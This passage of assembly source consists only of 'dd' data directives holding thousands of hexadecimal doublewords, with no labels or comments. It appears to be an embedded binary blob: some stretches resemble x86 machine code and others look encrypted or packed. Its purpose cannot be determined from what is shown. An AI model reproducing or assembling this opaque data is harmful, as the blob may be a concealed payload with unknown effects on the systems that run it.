66A8B71Ah, 58C53215h, 0BBFFEFC8h, 6605B71Ah, 604F3215h dd 66443215h, 0EF26F496h, 2B3347A0h, 6E71DB13h, 0BECF3215h dd 4B4FB726h, 0AED03458h, 0A74A1916h, 0A77722D5h, 4B4FAF9Ch dd 662C3458h, 69883315h, 66447796h, 0DD1CB315h, 69AA89AEh dd 66880B90h, 6642F515h, 0E5223215h, 0D39836D3h, 60C51060h dd 498DAF9Eh, 6DA93458h, 0ED71E29Eh, 0CF0D19D7h, 0A7427F02h dd 0E32130F5h, 605C1EE8h, 0A78B9F83h, 7A60769Ch, 665EDB74h dd 34403215h, 0F303FB26h, 60092254h, 0E22D302Eh, 6611322Dh dd 278CF096h, 47F5BF2Eh, 0E32D3458h, 99EECDFDh, 69A98798h dd 0DBC93441h, 606F32DCh, 69D1B6B9h, 66883491h, 97AD9815h dd 0DEDDCDEAh, 66113215h, 2B6DBF98h, 87BB3458h, 620FBF9Ch dd 3F4B3458h, 0AF15B943h, 0ED427F3Ah, 4BA7B91Eh, 0B7177F11h dd 0F70D31F5h, 55427F33h, 0CB44A4E3h, 6513D2D4h, 2BA4CF90h dd 65E9A413h, 0DBA16CD4h, 605C31C4h, 5F0C3D14h, 5D443215h dd 2B360398h, 4B953D13h, 5D883215h, 2B66F398h, 47A63D13h dd 5D113215h, 2B8BA798h, 73C03D13h, 0EB223215h, 32354D88h dd 0ED5BCD13h, 8FC1BBEDh, 8F247F1Bh, 661134A1h, 42F7AF98h dd 0B5BB3441h, 65F38F96h, 69113458h, 66882F91h, 0EFC10915h dd 69247F3Ch, 66113E91h, 7F0D0915h, 69427F3Bh, 66223790h dd 99A8DB15h, 0E3B3CDEAh, 600939C0h, 663AB71Ah, 0DB923215h dd 60C52094h, 6DC13D15h, 0EB223215h, 35C23690h, 991DDB13h dd 0E37FCDEAh, 606F39C0h, 9998B61Ah, 0DB0BCDEAh, 60103D08h dd 71A73D14h, 5D113215h, 32874E90h, 6DC13D13h, 0EB223215h dd 3EF79290h, 99E5DB15h, 9977CDEAh, 414B8F96h, 69113458h dd 668B5591h, 0EC10915h, 1324661Ah, 0F394B912h, 218E7F27h dd 6934B72Eh, 61573441h, 6ACCB79Eh, 5DCF3458h, 324B5E90h dd 0ED254713h, 2B3CD390h, 0E3B37513h, 60103D61h, 0E3A93560h dd 605C1628h, 1E0D0952h, 1342661Ah, 4BA7B912h, 21177F25h dd 69F4B72Eh, 61313441h, 6C17B79Eh, 5D563458h, 3287B290h dd 0ED434713h, 2B064390h, 0E32A7513h, 60DC3D91h, 0E3CF3560h dd 606F1414h, 0EE940952h, 138E661Ah, 7C1B912h, 21247F24h dd 699DB72Eh, 61FD3441h, 448DB79Eh, 5D653458h, 321EA690h dd 0ED8F4713h, 2B48B390h, 0E3197513h, 60453D85h, 0DB0B2260h dd 60091998h, 0ED254715h, 2B1C9390h, 0DB0B7513h, 6009180Ch dd 5D2D4615h, 32012E90h, 0ED8F4713h, 2B5FBB90h, 0DBA17513h dd 605C220Ch, 0E5FA4615h, 2B74EFA8h, 0F563213h, 7611B72Eh dd 61FD3441h, 4FADB79Eh, 5D653458h, 32012290h, 0ED8F4713h dd 2B521790h, 0E3197513h, 60452211h, 0E3033560h, 600903ACh dd 72A70952h, 13176605h, 330DB912h, 21427F09h, 763AB72Eh dd 61643441h, 4529B79Eh, 5D033458h, 32323A90h, 0ED164713h dd 2B880F90h, 0E37F7513h, 60762219h, 0E39A3560h, 60C521C4h dd 0BBF9B152h, 66247F25h, 641BB61Ah, 0E3B33215h, 60103D8Dh dd 0E3A93560h, 605C37B8h, 4A0D0952h, 13426605h, 8BA7B912h dd 21177F1Eh, 6914B72Eh, 61313441h, 631BB79Eh, 5D563458h dd 32879290h, 0ED434713h, 2B365790h, 0E32A7513h, 60DC3DB1h dd 0E3CF3560h, 606F1900h, 0CE940952h, 138E661Ah, 0EBF9B105h dd 66247F3Eh, 0E39A3560h, 60C527D8h, 0CAC10952h, 1324661Ah dd 8F94B912h, 218E7F04h, 69F4B72Eh, 76573441h, 4D9C8F96h dd 13883458h, 3FC1B912h, 21247F05h, 69A5B72Eh, 61FD3441h dd 4339B79Eh, 5D653458h, 321E8A90h, 0ED8F4713h, 2B6F6F90h dd 0E3197513h, 60453DD5h, 0DB0B2260h, 60091998h, 0ED254715h dd 2B348B90h, 0E3B37513h, 60103DA9h, 0DBA12260h, 605C1998h dd 0ED8F4715h, 2B5F3B90h, 0E3197513h, 60453DD1h, 0E3033560h dd 60092684h, 0AEA70952h, 1317661Ah, 5F0DB912h, 21427F01h dd 69EEB72Eh, 61643441h, 4909B79Eh, 5D033458h, 322DE290h dd 0ED164713h, 2B8DB790h, 0E37F7513h, 60763DC1h, 0E39A3560h dd 60C52D00h, 0BEC10952h, 1324661Ah, 0FB94B912h, 218E7F1Bh dd 6998B72Eh, 61573441h, 774CB79Eh, 5DCF3458h, 324BD290h dd 0ED254713h, 2B356F90h, 0E3B37513h, 60093D00h, 0E3A93560h dd 605C2D68h, 820D0952h, 1342661Ah, 0BBA7B912h, 21177F1Eh dd 76A8B72Eh, 7F313441h, 760A8F96h, 13113441h, 0B735B11Ch dd 66427F16h, 0E3A93561h, 605C1720h, 420D0952h, 13426605h dd 4E9FB10Ch, 66176605h, 0DB0B3B60h, 600931C4h, 0ED254615h dd 2B114F90h, 0E3B37513h, 60103DFDh, 0E3A93560h, 605C160Ch dd 8A0D0952h, 1342661Ah dd 9BA7B912h, 21177F32h, 6978B72Eh, 61313441h, 43F3B79Eh dd 5D563458h, 3287C690h, 0ED434713h, 2B08FF90h, 0E32A7513h dd 60DC3DEDh, 0E3CF3560h, 606F1044h, 9A940952h, 138E661Ah dd 0CBC1B912h, 21247F10h, 0E21ECD1Eh, 66883210h, 99BFD8FCh dd 37A709EAh, 69177F18h, 66883990h, 37C1BF15h, 8F2461BEh dd 99EEC9C6h, 48C1B72Eh, 0E34B3458h, 6622320Dh, 690C8F96h dd 69893441h, 66443990h, 45A7BF15h, 8F116AF3h, 9977C9BAh dd 691CB72Eh, 0E22D3441h, 66113219h, 69D4B72Eh, 0E34B3441h dd 66223210h, 99EAA0FCh, 66888CEAh, 98C73215h, 23A73D14h dd 5D113215h, 32877E90h, 6DC13D13h, 0EB223215h, 3E73D690h dd 9DE5DB15h, 0E37FCDEAh, 60763D45h, 661AB71Ah, 0E3053215h dd 661C514Fh, 99D964FCh, 329409EAh, 698E661Ah, 66443990h dd 0F9A7BF15h, 8F116A76h, 9977C92Ah, 67FAF29Eh, 6D223215h dd 63943DE3h, 8F883215h, 99BBC936h, 0D3ABC29Eh, 605C17B4h dd 6191879Ch, 58C43458h, 40A73DFCh, 0ED113215h, 988B336Bh dd 0A5C5EC9Eh, 66227215h, 43B08F2Eh, 0E4873458h, 6644321Dh dd 0E02DC92Eh, 66113210h, 9972D4FCh, 1BF9B9EAh, 0A1247F04h dd 2B1C5B90h, 66883213h, 0D3CD5215h, 606F350Ch, 4C71AF98h dd 0B5773441h, 6666B01Ah, 0FBAF3215h, 6043923Ah, 0E587E1EAh dd 99BBCDCBh, 613B879Eh, 0D3983458h, 60C53F7Ch, 38B0AF98h dd 0B5DD3446h, 43B0B79Eh, 0E3013458h, 6009350Ch, 0AFBFBF74h dd 99176633h, 0D715BFC6h, 9942663Ch, 6AA13DC6h, 0E5113215h dd 2B8F2B90h, 0B8AD3713h, 0EBDDCDEAh, 3238E888h, 695BCD13h dd 66443A96h, 62E0B115h, 661100FCh, 4915BF15h, 994260B5h dd 6DA13DC6h, 0ED113215h, 2B8F2BA0h, 61C4DB13h, 0EBA93215h dd 605C350Ch, 6191879Ch, 0A86F3458h, 9709EBE2h, 0F0F896E6h dd 0EB77CDEAh, 351B7E88h, 0EDF1CD13h, 1B9419D2h, 0EF8E7F04h dd 2B47DB90h, 1BA7B913h, 31177F04h, 0A705BF45h, 9942614Ah dd 43A7B9C4h, 36177F0Dh, 1B0DB942h, 36427F04h, 39D2BF98h dd 0B7EE3446h, 0AE03E29Eh, 7E61BF3Eh, 0DBA13458h, 605C3F94h dd 4D0C3D15h, 0ED443215h, 2B263B90h, 0E7941913h, 5D8E7F18h dd 71C23DD4h, 0ED223215h, 2B32DF90h, 0E70D3113h, 0EF427F18h dd 2B2CDB90h, 6652DB13h, 0EDD93215h, 99497AD4h, 2622321Ah dd 6218B79Ch, 0E3893458h, 60093F48h, 6BA3B7D2h, 66113458h dd 26E23215h, 6654327Dh, 66486315h, 7794A7EAh, 0F3773458h dd 60091B40h, 45CFB79Ch, 0E3983458h, 60C53CFCh, 8FF1CD4Ch dd 99247F1Bh, 2B0917A0h, 0D3776513h, 60092368h, 2A0B798h dd 0B6EE3446h, 6B09BF14h, 0DBCF3458h, 606F3CFCh, 7E34879Eh dd 0C27B3458h, 4431879Eh, 0A18F3458h, 6611CE53h, 0A6493215h dd 0E8363710h, 0E3211551h, 605C1804h, 6861BF9Eh, 6ECD3458h dd 9A64F5B8h, 66113215h, 44FD879Ch, 9EC73458h, 46A73DEAh dd 0E7113215h, 0BB55EF2Bh, 72C13DC8h, 0A1223215h, 66113213h dd 624EB115h, 4431879Ch, 80CB3458h, 0A7EECDE3h, 0E38B31D5h dd 60091804h, 76938F96h, 69103458h, 6688AF91h, 0CC7AB315h dd 698898BFh, 66112090h, 624EB115h, 66B874D2h, 0F1223215h dd 65F8DBA5h, 0F1883215h, 0E514DAA5h, 2B21E3A8h, 0E21E3313h dd 6688322Bh, 664532ADh, 29FB115h, 6617661Ah, 6680B61Ah dd 0FBC93215h, 607155D6h, 5991E1EAh, 6E0C3D85h, 0E5443215h dd 25CB37D2h, 0E5113215h, 0E48762EDh, 6644321Fh, 3E88A2A5h dd 6635DBBFh, 0CCD03215h, 8FBB4D95h, 663AB71Ah, 0DB923215h dd 60DC3D71h, 6EC03D15h, 0EB223215h, 3576A188h, 0EE5BCD13h dd 0E3CF3652h, 606F3CFCh, 8E92F53Eh, 0A1259911h, 6644CE53h dd 77CB3215h, 0EFEECDEAh, 2BAA47A0h, 662C6013h, 0C223295h dd 27A4CD15h, 998E7F05h, 2B65BF80h, 0EBA96813h, 605C1DDCh dd 668833D2h, 0A7C73215h, 0AFAFBB11h, 8F177F3Ah, 9977C705h dd 664296FCh, 0EBA95215h, 605C1DDCh, 0EB013B9Eh, 60103D75h dd 326C0A94h, 0E31E7E51h, 66883209h, 623CB373h, 0E32D1C59h dd 66113205h, 0A00BC29Eh, 87C1B913h, 8F247F39h, 66113313h dd 0B603C29Eh, 5AE8FB26h, 3BA63D15h, 5A113215h, 890C3D38h dd 5ABBCDEAh, 5BA63D3Bh, 5A113215h, 660A3D25h, 5A443214h dd 0B1A43D2Ch, 5AEECDEAh, 960A3D54h, 5A443215h, 0A1A43D4Fh dd 5AEECDEAh, 0D90C3D4Ah, 5ABBCDEAh, 0BEA03D74h, 5A113215h dd 0C90E3D6Fh, 8FBBCDEAh, 662232DEh, 69C70957h, 6688F091h dd 8F057815h, 99DDCD8Fh, 0E21EFB90h, 668832A6h, 445D8798h dd 0ACA93458h, 48A1C89Eh, 9F0D3DBBh, 4DBBCDEAh, 4DFBC5DAh dd 95E6B5ECh, 99CFF4B1h, 7FD1BF15h, 0ED247F37h, 2B37AF90h dd 6948B713h, 66442890h, 83A7F415h, 21177F33h, 0FC2FE07Dh dd 4FF1CDC1h, 0EB247F1Eh, 3664E590h, 3458CD13h, 0A6C1E2EAh dd 661AB71Ah, 0E39A3215h, 60C51888h, 0E34BF290h, 6622320Fh dd 40F4B7D3h, 0EC43458h, 0BF9E2EFCh, 6D0B87EAh, 0E39C3458h dd 60D847C2h, 9916E2EAh, 69E2B7C5h, 66113790h, 66A9DB15h dd 0E3CD3215h, 60763D75h, 0E39C6445h, 60D8A4C6h, 0A64FE2EAh dd 6627B71Ah, 62F83215h, 0EF883215h, 7581651h, 0EBA952D6h dd 60453D75h, 6549B945h, 0F6CF0E55h, 6622329Dh, 4C2CA79Ch dd 9E8D3458h, 0ED443215h, 0F3AB3E45h, 605C2204h, 42CCB94Dh dd 5D851931h, 2B322390h, 76933D13h, 5D883215h, 2B6E0F90h dd 62A13D13h, 7113215h, 78836D7h, 666036D2h, 0A1223215h dd 66151651h, 0DE883215h, 66443210h, 2BC7BF98h, 87EE3458h dd 5A8EB875h, 58C03DFCh, 5A223215h, 24953DFDh, 5A883215h dd 74C03D1Ah, 5A223215h, 59953DD8h, 5A883215h, 2FC03DFEh dd 7223215h, 674FB8D6h, 0E678D195h, 0E34BB2EEh, 99DDCDFAh dd 0A592EC9Eh, 64D63113h, 664426FCh, 677CB915h, 69EAC996h dd 66881B91h, 659AB915h, 0A5A1334Bh, 99D8DB10h, 0D087CDEAh dd 8DC7334Bh, 0DAA63D3Bh, 8FEECDEAh, 6688321Fh, 98454C95h dd 998FB71Ah, 6F8CDEAh, 3077CDEAh, 55136144h, 0BEA89ED5h dd 0E6E1D195h, 0E28742EEh, 664432F9h, 0E22D3D29h, 66113230h dd 0E287DB29h, 66443391h, 0E22DD929h, 66113000h, 0E287D129h dd 66443264h, 0E22DD029h, 66113056h, 38D1694Ah, 56C1F5D6h dd 60246605h, 0EC113215h, 966BB20Bh, 69C4C995h, 99DDD190h dd 0E39A7CEAh, 60C517B4h, 6B2DA79Eh, 0B8A93458h, 6517F196h dd 0BEB3304Bh, 664CB01Ah, 0BC193215h, 99AFB41Ah, 0B9A3CDEAh dd 42D996h, 0F58954B8h, 62D7B1BEh, 0EFAC0E9Ch, 0EF481661h dd 2B252BA0h, 3F4A6D13h, 624CB14Bh, 99BE52FCh, 56A7F5EAh dd 64176605h, 0ED883215h, 68F23DCBh, 69A2CB95h, 66113A96h dd 25513115h, 66443FFCh, 99CBB215h, 8790EBE2h, 668832EAh dd 0E3CFEB3Eh, 606F17B4h, 6B78A79Eh, 0DB0B3458h, 60092E74h dd 0C5A63D14h, 5D113215h, 0FD0A3DCDh, 5D443215h, 27A03DCFh dd 8FEECDEAh, 6688329Bh, 7674B7D2h, 66203441h, 0B89A3215h dd 0E686841Ah, 0E54BB2ECh, 6622321Dh, 8F52EB16h, 66883218h dd 91BBDB95h, 99C3B3CCh, 4D113215h, 0C70DB9CCh, 0ED427F30h dd 2B2F5B80h, 7ACB113h, 678E7F09h, 660CB61Ah, 0BE193215h dd 6619B01Ah, 0BCB33215h, 98A2B41Ah, 0D66CCDEAh, 689B981Ah dd 8708B2A5h, 0CC85381Ah dd 8DA1ED3Eh, 0E5BAA111h, 0D30130D3h, 6009350Ch, 7A43B7D2h dd 66103458h, 0A20B3215h, 0E51D6911h, 0A2A136D1h, 9F66DB11h dd 0D6C6CDEAh, 0A0CF98FCh, 8EA1F53Eh, 0A2929911h, 38D16911h dd 8F40F696h, 99DDCBD2h, 7621B7D2h, 668D3441h, 0B8CF3215h dd 6526F196h, 0C794B90Bh, 0ED8E7F30h, 2B495B80h, 0DBA17C13h dd 605C3FB8h, 650C3D14h, 5D443214h, 6EA03DCDh, 5D113215h dd 4D0E3DCFh, 0EF443215h, 2B252BA0h, 568CB913h, 678E6605h dd 8F481649h, 662232CBh, 0CB94F54Ah, 678E7F18h, 3D443215h dd 0A2A16C4Ch, 9EE6DB11h, 0DB0BCDEAh, 60092E74h, 0DDA63D14h dd 4D113215h, 2BAD9388h, 1BC9B913h, 65247F04h, 0E5DE19DEh dd 8F3837FCh, 0E5EFA3BFh, 3F7936D1h, 62D5B14Bh, 99711CFCh dd 56C1F5EAh, 64246605h, 0ED113215h, 683E3DCBh, 69C4CB95h dd 66223A96h, 25C83115h, 66883FFCh, 99ADB215h, 87A3EBE2h dd 661132EAh, 0E303EB3Eh, 600917B4h, 6B4BA79Eh, 20F83458h dd 0A177CDEAh, 32540290h, 66223013h, 69CFB915h, 9F083CA3h dd 6EC73D95h, 65223215h, 6BF871CCh, 0E6883215h, 0BFB3CDFCh dd 66DDD394h, 0BF3A3215h, 4329B79Eh, 0F3CF3458h, 606F3F7Ch dd 7A708F96h, 69893458h, 99BAFB91h, 69FA09EAh, 66113A97h dd 69520915h, 99B95593h, 0A8A97CEAh, 8F92FD3Eh, 0CC618210h dd 0EEAD9984h, 0ECDDCDEDh, 69F90E13h, 66883491h, 7EADCA15h dd 35223215h, 3812EC9Eh, 634BB114h, 4DEEDAA5h, 62C9B1CAh dd 0E54A9986h, 0A57137D3h, 60CF5444h, 0E22DF129h, 66113255h dd 0E287F929h, 6644322Dh, 0E22DF029h, 6611322Dh, 0E287F829h dd 66443225h, 43DD0F73h, 6621B61Ah, 5BEE3215h, 0E34BCD3Bh dd 66223218h, 4213749Fh, 69280EE5h, 66441191h, 8FDA6B15h dd 6611322Ch, 8FC9FB26h, 6644320Ch, 662231ACh, 661EDB15h dd 60313215h, 8F443215h, 66223210h, 661135ACh, 0ED2CC115h dd 2B495B98h, 69EBB713h, 66113490h, 0F3DBB15h, 3F427F18h dd 0ED44F1ECh, 69D20E13h, 66885791h, 0E69CB815h, 9DA2C2F6h dd 0FA953D65h, 5A883215h, 29C03DFCh, 5A223215h, 21953DFEh dd 5A883215h, 59C03DD7h, 5A223215h, 51953DDEh, 883215h dd 6961CD28h, 66221F91h, 69DB0E15h, 66881791h, 69A70E15h dd 66225091h, 482C5415h, 6B0D3DEAh, 0EC443215h, 96063053h dd 0E21E9229h, 66883213h, 664BDBEDh, 0D3AB3215h, 605C3F7Ch dd 387CAF98h, 0B5BB3446h, 0ED72F1ECh, 0E3982253h, 60C525BCh dd 7A82B14Dh, 4ADF8F98h, 65BC3458h, 0CDAC1651h, 73618F98h dd 658F3458h, 36351651h, 0F735BFBEh, 0CB427F33h, 4E067616h dd 30D26CBEh, 3845AF98h, 0B5BB3446h, 0FFFF95FCh, 4ECEDFFFh dd 4AA86CD2h, 0A2458AFDh, 0C0D5F251h, 0A4166D8Ah, 2AA8ED96h dd 29458A15h, 57DFA024h, 91792619h, 2A1E2C5Eh, 89798A15h dd 2A162C5Eh, 0CA798A15h, 2A492C5Eh, 13798A15h, 2A382C5Eh dd 0F2798A15h, 2A5C2A5Eh, 0FA798A15h, 2A6B2A5Eh, 0D6AC8A15h dd 0D554A851h, 0D7BA8660h, 0FECE2559h, 0F143D9F7h, 0C9FF32DCh dd 71BA8C46h, 0C3A8EDD8h, 0A2458A42h, 0D558DDAEh, 38C88260h dd 2C074AB5h, 9DF0746h, 0D552FBB2h, 5E0003C6h, 835492B8h dd 0A4F305E9h, 31E4CB8Bh, 5DB1DABAh, 2FEB3256h, 4D61BBCh dd 113C5250h, 0D3E26969h, 63B977DDh, 79F4B951h, 31B575DFh dd 1A382213h, 0BAF4B95Ah, 36A175DFh, 0ABA1F09Fh, 3034F436h dd 0E9837F70h, 0B0A4F305h, 0F29D11F1h, 2375FD7Ah, 696417FBh dd 0D525FB29h, 0ADFDF53Fh, 91262E86h, 0CFB73422h, 0B723AC7Ah dd 1A20AD29h, 7975FD7Ah, 8E987C27h, 0A073AEAFh, 7CA67EFFh dd 83C87D7Ch, 0A4F305E9h, 0BD8DDB8Bh, 654103Ch, 2B238D8Dh dd 44B80654h, 2B321566h, 2E9C1CFh, 0C8D00731h, 4904C783h dd 0FFF2850Fh, 0C08BFFFFh, 1BD9BD83h, 7500064Dh, 11BD8309h dd 64D00h, 53501974h, 11B8C08Bh, 89000004h, 4D31A585h dd 7C9D8D06h, 0FF064FB7h, 83585BD3h, 4D0011BDh, 17740006h dd 11B85350h, 89000004h, 4D31A585h, 1D9D8D06h, 0FF064FB4h dd 8B585BD3h, 0A4F2BBC0h, 8E84672h, 72000000h, 0FD9647F7h dd 5F190D2Ah, 5E960h, 88240000h, 61B6C16Ah, 6DA8C781h dd 2DB80000h, 0BA2AB358h, 1B51h, 0DF816660h, 8B61F67Ch dd 77F1810Fh, 814E66BFh, 1C7D43F1h, 81C58A6Dh, 10B29C1h dd 6BE6645h, 0B70F89B9h, 2EF83C3h, 2840Fh, 0DE8B0000h dd 0DE814F4Fh, 4479F094h, 0F01EA83h, 0FFFFC685h, 0EBC68BFFh dd 8, 9CB87300h, 4BBE931h, 7D680000h, 0E906542Eh, 0FFF95291h dd 542EF468h, 5287E906h, 4268FFF9h, 0E9065430h, 0FFF9527Dh dd 434FF5BBh, 0E6F29863h, 8A963C06h, 2B37DDAAh, 0D0DC824Bh dd 0AC75DACEh, 531AFA06h, 0F5C1A1ADh, 9B63434Fh, 8552E9F5h dd 0FAF42A56h, 0BCFC07D4h, 0C106AC75h, 29F69C63h, 479469B8h dd 0AA771DE9h, 0C48CEA39h, 0EB8C5853h, 65CEB140h, 0B7D9FC59h dd 4E21F888h, 67D039DBh, 2E18F322h, 0D039D137h, 15A0D403h dd 2BF6D501h, 8F5AB885h, 17FB1CE9h, 0CD3BA72Dh, 49DA6C97h dd 0A01B658h, 3F000003h, 0FFD6C5F2h, 0FECA286Dh, 0DD242458h dd 0ED69015Fh, 0A604519Eh, 0B6E534DAh, 0D13802A9h, 0FDA370CEh dd 2D72DBAEh, 0B4CFB1E0h, 0C62D501h, 5BCC993Fh, 2A53A3F2h dd 0D8841BC1h, 9ADF8D48h, 0AFD1004Dh, 82D79C4Dh, 12E5E519h dd 0F7F9139Ah, 7FAA79A8h, 0EE57CD85h, 0E00F5CA9h, 0D14F55A0h dd 7F012891h, 0B2D14F55h, 4A25FA49h, 9428168Bh, 24EDEA37h dd 4F888BF5h, 0D43DA6D1h, 87F7266Bh, 0AAC738C1h, 2AF78A54h dd 0DD4E1B84h, 9D12F74h, 50285887h, 0A009CB02h, 0F5C2B37h dd 24FA0E0h, 1D4C91CBh, 0CB024F63h, 0ADFC65CEh, 0C9E1874Fh dd 84A95FFCh, 0CBB5D3A8h, 0F2000002h, 9A7A862Ch, 3D1D29CFh dd 0E1C1CD73h, 82626E14h, 50713B9h, 3FE5AEE3h, 0E68C5333h dd 882EFADAh, 2ED49C7Ch, 8FBE8B22h, 0D4FAF2F1h, 86F53540h dd 20760A39h, 52BBDB4Fh, 408F35FCh, 420F7065h, 0A1EE339Ch dd 82D17743h, 234FC653h, 6DB21BD1h, 94A0460Fh, 7845EBB4h dd 5D03CD2Bh, 0F396DF0Eh, 3800D4FAh, 6936DCA5h, 0A0778FF8h dd 4C92B1A3h, 2545977h, 0A3690000h, 4611F1FDh, 0EAB494A0h dd 8B583844h, 30F9D9E5h, 747C7E8Ah, 0A8B45A23h, 4F5B01C8h dd 0F1FDA36Fh, 97A34911h, 7C043300h, 0B5D4FAF2h, 0DDF86AAAh dd 0FE1B4A8Fh, 69D1234Eh, 3053C2Dh, 44A507BAh, 5B92C6B5h dd 8D60AF46h, 4C285724h, 4AD4FAB6h, 7C22EE81h, 8D53EAFh dd 7E4BDEAAh, 81A26FD8h, 0C531A79Dh, 0CF0BED57h, 1F7970E6h dd 7319E2C4h, 7DCC35A6h, 42DA0F17h, 15BACB6h, 75EA0000h dd 0DC3A07ADh, 5626E14h, 3DE3AFD0h, 10091309h, 0B31C8CCEh dd 3B8C3F6Eh, 5CC5D138h, 414608Fh, 0FE6CD502h, 238B9B46h dd 4130B65Bh, 6E000000h, 760A3986h, 0BBDB4F20h, 0AD280352h dd 551C7ABFh, 2271E2AFh, 20DDA6D5h, 0FB64D138h, 2075FF2Eh dd 9D0BD502h, 3D1955A7h, 0D4C8E22Dh, 28F95777h, 0A710051Ah dd 0E350F258h, 9D87B65Bh, 0C5000000h, 3A07AD75h, 0B38013DCh dd 79D7A40Dh, 0E03E0BB1h, 0B5667218h, 0DB4F25A1h, 3B47EDB5h dd 3075F7DEh, 15BB85E3h, 32A3D748h, 0DE46EDC6h, 0B84A79C8h dd 0FFD13F2Dh, 285537C3h, 4D18E405h, 69DAA7h, 0BC88DEB1h dd 6FD84916h dd 5D03CC2Ah, 2A87151h, 0B54209EAh, 0C2E0B592h, 106h, 3F4BF1B7h dd 0E2EE945Fh, 86923802h, 2733D9A6h, 0CCD87E47h, 0A87126CAh dd 4F16F602h, 0F1BD9DA9h, 975F3F4Bh, 814EE5F1h, 0FAF02E52h dd 0B8F803D4h, 0FA06AC75h, 0A0AC521Ah, 2A873D1h, 0AD75C435h dd 3A07AD75h, 0F71A0EDh, 22DB4F21h, 440C6AB9h, 7542E8B1h dd 328F9B04h, 5584C9A3h, 0D1386F0Ah, 0FD397EE7h, 198C6AB7h dd 55A2F13Eh, 0D39B2EF7h, 7B8C42Dh, 0D501B66Dh, 0CBF06129h dd 2D5798CAh, 62424EB7h, 826F399h, 7Ah, 5B2886BEh, 4A8B66B5h dd 3290DD22h, 640AD568h, 78BD2EFBh, 4F203749h, 4291FADBh dd 234F0213h, 0A976DFD1h, 0D1DD834Bh, 0B68329F1h, 607F9687h dd 1A4AB8FAh, 0C38C1FE7h, 0C8A8B41Dh, 2F8D5A00h, 0CEEFBC62h dd 0BF877AEAh, 652D0D19h, 69CCB4E3h, 0FC659D32h, 6734DAA6h dd 0A2C08DF6h, 1Ah, 295786D3h, 7D9D326Ah, 0CE3F0CB2h, 834B9A03h dd 0DFA90754h, 7218E339h, 0AF755B23h, 16DE3C09h, 7945A370h dd 0E1A806D3h, 47106E3Bh, 0AD76D4A1h, 0FDC3A07h, 743E9C69h dd 0D8A301CEh, 68E86532h, 7222h, 50242489h, 4B8h, 24440100h dd 0E8685804h, 89000056h, 2A68240Ch, 89000052h, 0EC812414h dd 4, 0BD242C89h, 65A716BAh, 0E974ED81h, 0E9895F52h, 445C685Dh dd 24890000h, 24048324h, 0DB685A04h, 8900002Bh, 0CE892434h dd 5E087289h, 5A2434FFh, 0FF04C483h, 81592434h, 4C4h, 4DEBE900h dd 0C21BFFF9h, 309FB3F0h, 0E18B827Dh, 316DB8BAh, 0C5030654h dd 0CDAFE0FFh, 0CEA71AEh, 7ACD3D9Fh, 23A3316Dh, 0A2E0004Fh dd 6CB52E88h, 605879B7h, 42037E0Ch, 0A1C36034h, 288A71A4h dd 0E97E3BC6h, 0DF2C62B7h, 0E6DB4BB7h, 30DA1622h, 80075A38h dd 0D43A2539h, 0EE4936A8h, 94E072CFh, 2DB1679h, 4EE41A1h dd 9CDF4085h, 0CCBA3905h, 82F3671h, 0ACCA4C3Fh, 8ED97438h dd 8CA824CCh, 4EB2377h, 1052F280h, 4F4E9h, 680ED400h, 0BB17C5Ch dd 0AF551FFFh, 50F6C3A3h, 0F59B6444h, 90C1E7E9h, 351521C7h dd 0DCBCC86Eh, 7E5E6A10h, 6D0410B6h, 0EF0F71A0h, 1722D4FAh dd 7AD75D7h, 6D13DC3Ah, 5B01CA28h, 0C167308Eh, 0CB1A83F4h dd 690FD7B7h, 0D0763E9Ch, 34DAA503h, 0C183F167h, 0A4B0561Eh dd 8AE77D5h, 0F645EBB2h, 1B4ACC98h, 0DB4F2065h, 0EEFA63CCh dd 579C420Eh, 0CF9B2EF9h, 82EB5C29h, 39005E33h, 0D1734EC8h dd 37A0E94Eh, 9A400C6Ah, 2A86FCDh, 34301435h, 83C1A5BEh dd 8BF52471h, 0A6DB4E5Bh, 0C490EE3Dh, 0AF7BD91Eh, 42AB511Ch dd 7962EA0Eh, 0CB1A7EF0h, 9E0FD7B7h, 0D7FD6E0h, 6A1A765Dh dd 15460034h, 0F090BF04h, 41DB4E8Dh, 73A26FD8h, 0DB4E8E00h dd 5926CC96h, 8DA3DD0Ch, 258EDB4Eh, 936006CFh, 8D691746h dd 5FC8DB4Eh, 9D531177h, 4AB5AF95h, 0B016D138h, 29CF9CFAh dd 4472DAh, 86B00000h, 69B85E28h, 0D09D430Bh, 4F20E1A1h dd 53F9C5DBh, 0B95F2886h, 7BE9D5ECh, 0AD16BC88h, 5A85BFA5h dd 0B01642C8h, 1EFh, 0AA752D00h, 0ED93704h, 703D9B68h dd 1987FDCAh, 47EDB82Bh, 0ED935B3Bh, 0AC7597E1h, 10DB3906h dd 763F9D6Ah, 0DAA503D0h, 0EB1A6734h, 0DB4F2095h, 0ED53339Ch dd 33998177h, 8305CE31h, 4F212C54h, 91C005DBh, 0DB4F20EFh dd 770D942h, 0AD531BFBh, 12B882E0h, 1A76FCDh, 0B77FDDB2h dd 1CE64411h, 0A692A976h, 7DCC38BEh, 0A7D6581Fh, 0DB4F20D9h dd 0B986EF58h, 0D78DF948h, 16400A2Ch, 9EB1B0h, 75EF0000h dd 0EC3906ACh, 0DB20C68Eh, 4F20D4ACh, 0A5F45DDBh, 92D77D47h dd 0F9C66C34h, 2FC05488h, 0E34427C3h, 9461BF94h, 0FBC321EEh dd 0C3B8855h, 0DB4EBC74h, 78E654BDh, 0A74D19CCh, 0E262D03Eh dd 4B9036FFh, 0AF7C22EDh, 0FBDBEF3Eh, 61BF8C32h, 0C321EE94h dd 298754FAh, 90EEBB61h, 47B523C9h, 0FD6BD71Dh, 3579B547h dd 93F10A3Ah, 0EE88EE3Dh, 0DB016B2h, 47h, 6AC754Bh, 690FDB39h dd 0A028E824h, 0C8C735Bh, 0BD6F2DF4h, 99E851DCh, 82E0ADC4h dd 0D64714BAh, 0B6291B87h, 0F13B47EDh, 4E17AA75h, 43723FA8h dd 0DB4F2030h, 8496CEB4h, 68B75D26h, 16426002h, 197B0h dd 75D50000h, 73C005ABh, 4F203C44h, 3D8CF5DBh, 9C420A68h dd 9ACAAECFh, 0EBF79D67h, 0E025478Eh, 3844C6B1h, 25F25BD1h dd 4E7DFFC7h, 0D501FC32h, 212D96FFh, 6D37941h, 1FCABD7h dd 0EE5642D5h, 818D33FBh, 6633D9A1h, 0CD9A4008h, 2BCD77DDh dd 4019FFEFh, 0A2F17A39h, 0CAD67C44h, 5B5440E2h, 11277B6h dd 0F8B50000h, 1B4A8FDDh, 0D1384170h, 4DAB78E1h, 0F3D3DF85h dd 5AB8852Bh, 2F1FEC92h, 1B799BC9h, 6FE0AD53h, 54FAC220h dd 